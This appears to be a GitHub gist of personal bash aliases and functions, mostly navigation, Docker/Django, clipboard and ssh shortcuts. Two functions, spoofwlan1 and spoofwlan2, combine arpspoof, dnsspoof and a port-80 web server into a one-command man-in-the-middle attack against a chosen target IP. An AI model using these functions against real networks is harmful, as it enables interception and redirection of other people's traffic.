Skip to content

Instantly share code, notes, and snippets.

@fonylew
Created September 22, 2015 08:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fonylew/c5894284978c0f86c2cb to your computer and use it in GitHub Desktop.
Save fonylew/c5894284978c0f86c2cb to your computer and use it in GitHub Desktop.
alias cd..="cd .."
alias cd...="cd ../.."
alias cd....="cd ../../.."
alias cd.....="cd ../../../.."
alias cd......="cd ../../../../.."
alias ..="cd .."
alias ...="cd ../.."
alias ....="cd ../../.."
alias สห="ls"
alias แก="cd"
alias แกใใ="cd .."
alias sshbsd="ssh -p 3622 root@localhost"
alias DATA="sudo ntfsfix /dev/sda4"
alias sshps="ssh root@10.10.6.91"
alias ssha1="ssh root@10.10.6.92"
alias ssha2="ssh root@10.10.6.93"
alias df="df -Tha --total"
alias du="du -ach | sort -h"
alias free="free -mt"
alias ps="ps auxf"
alias psg="ps aux | grep -v grep | grep -i -e VSZ -e"
alias ginadmin="docker run -d -p 800:80 --link ginterest_mysql_1:ginterest clue/adminer"
function now(){
date +%R | espeak
}
function cs() {
new_directory="$*";
if [ $# -eq 0 ]; then
new_directory=${HOME};
fi;
builtin cd "${new_directory}" && ls
}
function dockpy(){
docker-compose run web python manage.py $1
}
function dpy(){
docker-compose run web python manage.py $1
}
alias dp='docker-compose run web python manage.py'
function pyman(){
python manage.py $1
}
function pyc(){
sh ~/Downloads/pycharm-community-4.0.6/bin/pycharm.sh
}
function simpleserv(){
sudo python -m SimpleHTTPServer 80
}
function spoofwlan1(){
sudo python -m SimpleHTTPServer 80 &
sudo arpspoof -i wlan1 -t $1 -r 192.168.1.1 &
sudo dnsspoof -i wlan1
}
function spoofwlan2(){
sudo python -m SimpleHTTPServer 80 &
sudo arpspoof -i wlan2 -t $1 -r 192.168.1.1 &
sudo dnsspoof -i wlan2
}
function simpleport(){
sudo python -m SimpleHTTPServer $1
}
function y2mp3(){
youtube-dl --extract-audio --audio-format mp3 $1
}
function gin(){
cd ~/ginterest
}
function im(){
cat importall | xclip -selection clipboard
}
function c2c(){
echo $1 | xclip -selection clipboard
}
function catc(){
cat $1 | xclip -selection clipboard
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment